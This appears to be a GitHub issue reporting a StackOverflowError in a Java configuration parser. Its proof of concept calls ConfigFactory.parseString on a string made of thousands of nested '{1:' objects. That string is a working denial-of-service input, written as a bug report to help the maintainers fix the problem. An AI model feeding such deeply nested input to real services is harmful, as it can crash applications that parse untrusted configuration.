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Find a StackOverflowError in config #777

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BIngDiAn-s opened this issue Nov 19, 2022 · 0 comments
Open

Find a StackOverflowError in config #777

BIngDiAn-s opened this issue Nov 19, 2022 · 0 comments

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@BIngDiAn-s
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poc as follow:

 public static void main(String[] args) throws IOException {


        Config conf = ConfigFactory.parseString("{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1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    }

an the result:
image
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